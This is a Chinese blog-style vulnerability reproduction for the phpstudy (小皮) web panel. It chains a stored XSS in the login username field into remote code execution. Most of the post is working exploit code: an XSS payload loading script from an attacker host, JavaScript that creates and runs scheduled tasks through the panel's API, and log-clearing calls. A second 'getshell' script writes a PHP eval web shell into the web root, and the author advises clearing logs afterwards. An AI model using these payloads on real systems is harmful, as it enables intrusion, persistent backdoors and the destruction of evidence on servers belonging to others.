phpstudy 小皮web面板 RCE漏洞

时间:2023-02-07 19:13:42

前几天爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

说白了就是后台页面,日志用户名我们可控的 phpstudy 小皮web面板 RCE漏洞 虽然影响大,但是条件也很苛刻,首先要 小皮面板后台路径 and 等待管理员登录 phpstudy 小皮web面板 RCE漏洞 不多说了!

漏洞复现

首先在官网下载最新的小皮windows面板安装程序 phpstudy 小皮web面板 RCE漏洞 安装完!访问 phpstudy 小皮web面板 RCE漏洞phpstudy 小皮web面板 RCE漏洞 测试漏洞是否存在!

<script>alert(1)</script>

phpstudy 小皮web面板 RCE漏洞 显示账号密码错误完,登录admin账号验证一下!是否弹窗 phpstudy 小皮web面板 RCE漏洞phpstudy 小皮web面板 RCE漏洞 大概就是这样子!剩下就是js 写文件 and webshell ps:需要知道绝对路径哈! 还是那样子插入js代码

<script src=http://192.168.119.1/poc.js></script>

phpstudy 小皮web面板 RCE漏洞

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res){
      $.post('/service/app/tasks.php?type=set_task_status',{
        task_id:id,
        status:0
      },function(res1){
        $.post('/service/app/tasks.php?type=set_task_status',{
          task_id:id,
          status:0
        },function(res2){
          $.post("/service/app/log.php?type=clearlog",{
            type:"clearlog"
          },function(res3){},"json");
        },"json");
      },"json");
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="13";
  data.minute = "51";
  data.shell="echo swzaq >C:/xp.cn/www/1.txt";
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

phpstudy 小皮web面板 RCE漏洞 不要插入太多恶意代码,对系统崩溃的!记得清理日志 下面也附上 getshell 的exp!

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

好啦!完毕!生活愉快!